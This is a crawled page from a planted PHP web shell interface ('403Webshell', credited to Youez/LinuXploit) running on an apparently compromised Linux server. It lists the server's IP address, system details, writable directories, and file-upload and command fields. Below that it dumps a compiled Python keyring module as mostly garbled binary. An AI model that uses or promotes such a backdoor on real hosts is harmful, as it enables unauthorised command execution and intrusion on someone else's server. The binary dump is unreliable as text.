403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/keyring/backends/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/keyring/backends/__pycache__/Windows.cpython-311.pyc
�

%�c���V�ddlZddlmZddlmZddlmZddlmZm	Z	e	��5Z
	ddlmZddlm
Z
e
jn#e$rddlZddl
Z
e
jYnwxYwddd��n#1swxYwYeje��ZGd	�d
��ZGd�de��ZGd
�de��ZdS)�N�)�
properties)�KeyringBackend)�SimpleCredential)�PasswordDeleteError�ExceptionRaisedContext)�
pywintypes)�	win32credc��eZdZdd�Zd�ZdS)�PersistenceNc�8�t|dtj��S)N�_persist)�getattrr
�CRED_PERSIST_ENTERPRISE)�self�keyring�types   �:/usr/lib/python3/dist-packages/keyring/backends/Windows.py�__get__zPersistence.__get__s���w�
�I�,M�N�N�N�c���t|t��r@d|�dd�����z}t	t
|��}t
|d|��dS)z�
        Set the persistence value on the Keyring. Value may be
        one of the win32cred.CRED_PERSIST_* constants or a
        string representing one of those constants. For example,
        'local machine' or 'session'.
        �
CRED_PERSIST_� �_rN)�
isinstance�str�replace�upperrr
�setattr)rr�value�attrs    r�__set__zPersistence.__set__ sa���e�S�!�!�	-�"�U�]�]�3��%<�%<�%B�%B�%D�%D�D�D��I�t�,�,�E����U�+�+�+�+�+r)N)�__name__�
__module__�__qualname__rr"�rrrrs;������O�O�O�O�
,�
,�
,�
,�
,rrc�$�eZdZed���ZdS)�DecodingCredentialc��|d}	|�d��S#t$r4|�d��}t�d��|cYSwxYw)zM
        Attempt to decode the credential blob as UTF-16 then UTF-8.
        �CredentialBlobzutf-16zutf-8zkRetrieved an UTF-8 encoded credential. Please be aware that this library only writes credentials in UTF-16.)�decode�UnicodeDecodeError�log�warning)r�cred�decoded_cred_utf8s   rr zDecodingCredential.value.s}��
�$�%��	%��;�;�x�(�(�(��!�	%�	%�	%� $���G� 4� 4���K�K�B�
�
�
�%�$�$�$�
	%���s��;A�AN)r#r$r%�propertyr r&rrr(r(-s-������
�
%�
%��X�
%�
%�
%rr(c��eZdZdZe��Zejd���Ze	d���Z
d�Zd�Zd�Z
d�Zd�Zd	�Zd
�ZdS)�WinVaultKeyringaf
    WinVaultKeyring stores encrypted passwords using the Windows Credential
    Manager.

    Requires pywin32

    This backend does some gymnastics to simulate multi-user support,
    which WinVault doesn't support natively. See
    https://github.com/jaraco/keyring/issues/47#issuecomment-75763152
    for details on the implementation, but here's the gist:

    Passwords are stored under the service name unless there is a collision
    (another password with the same service name but different user name),
    in which case the previous password is moved into a compound name:
    {username}@{service}
    c�2�trtd���dS)zA
        If available, the preferred backend on Windows.
        zRequires Windows and pywin32�)�missing_deps�RuntimeError)�clss r�priorityzWinVaultKeyring.prioritySs ��
�	?��=�>�>�>��qrc��|�d|��S)N�@r&)�username�services  r�_compound_namezWinVaultKeyring._compound_name\s���&�&�W�&�&�&rc��|�|��}|r|d|kr)|�|�||����}|sdS|jS�N�UserName)�
_get_passwordr>r �rr=r<�ress    r�get_passwordzWinVaultKeyring.get_password`sd��� � ��)�)���	M�c�*�o��1�1��$�$�T�%8�%8��7�%K�%K�L�L�C��	��4��y�rc���	tjtj|���}n4#tj$r"}|jdkr|jdkrYd}~dS�d}~wwxYwt|��S)N��Type�
TargetName��CredRead)r
rK�CRED_TYPE_GENERICr	�error�winerror�funcnamer()r�targetrD�es    rrBzWinVaultKeyring._get_passwordjs���	��$��0�V����C�C����	�	�	��z�T�!�!�a�j�J�&>�&>��t�t�t�t�t������	����"�#�&�&�&s� #�A�A�A�Ac���|�|��}|r:|d}|�||��}|�|||j��|�||t	|����dSr@)rBr>�
_set_passwordr r)rr=r<�password�existing_pw�existing_usernamerPs       r�set_passwordzWinVaultKeyring.set_passwordus����(�(��1�1���	� +�J� 7���(�(�):�G�D�D�F�����!��!�
�
�
�
	
���7�H�c�(�m�m�<�<�<�<�<rc�x�ttj|||d|j���}tj|d��dS)NzStored using python-keyring)rHrIrAr*�Comment�Persistr)�dictr
rL�persist�	CredWrite)rrPr<rT�
credentials     rrSzWinVaultKeyring._set_password�sH����,���#�1��L�

�
�
�
�	��J��*�*�*�*�*rc���|�||��}d}||fD]<}|�|��}|r#|d|krd}|�|���=|st|���dS)NFrAT)r>rB�_delete_passwordr)rr=r<�compound�deletedrPrUs       r�delete_passwordzWinVaultKeyring.delete_password�s����&�&�x��9�9�����x�'�	.�	.�F��,�,�V�4�4�K��
.�{�:�6�(�B�B����%�%�f�-�-�-���	/�%�g�.�.�.�	/�	/rc��	tjtj|���dS#tj$r"}|jdkr|jdkrYd}~dS�d}~wwxYw)NrGrJ�
CredDelete)r
rerLr	rMrNrO)rrPrQs   rr`z WinVaultKeyring._delete_password�sq��	�� �i�&A�f�U�U�U�U�U�U����	�	�	��z�T�!�!�a�j�L�&@�&@������������	���s� $�A�A�A�Ac���d}|r)|�|�||����}|s|�|��}|sdSt|d|j��Sr@)rBr>rr rCs    r�get_credentialzWinVaultKeyring.get_credential�sq�����	M��$�$�T�%8�%8��7�%K�%K�L�L�C��	��$�$�W�-�-�C��
��t���J����;�;�;rN)r#r$r%�__doc__rr\r�
classpropertyr9�staticmethodr>rErBrWrSrcr`rgr&rrr3r3?s���������"�k�m�m�G���������'�'��\�'����	'�	'�	'�=�=�=�	+�	+�	+�	/�	/�	/����
<�
<�
<�
<�
<rr3)�logging�_compatr�backendr�credentialsr�errorsrrr6�win32ctypes.pywin32r	r
r#�ImportError�	getLoggerr-rr[r(r3r&rr�<module>rss������� � � � � � �$�$�$�$�$�$�*�*�*�*�*�*�@�@�@�@�@�@�@�@�������
�2�2�2�2�2�2�1�1�1�1�1�1�	�����������������	�����
���������������������� �g���!�!��,�,�,�,�,�,�,�,�"%�%�%�%�%��%�%�%�$k<�k<�k<�k<�k<�n�k<�k<�k<�k<�k<s1�A%�?�A%�A�A%�A�A%�%A)�,A)

Youez - 2016 - github.com/yon3zu
LinuXploit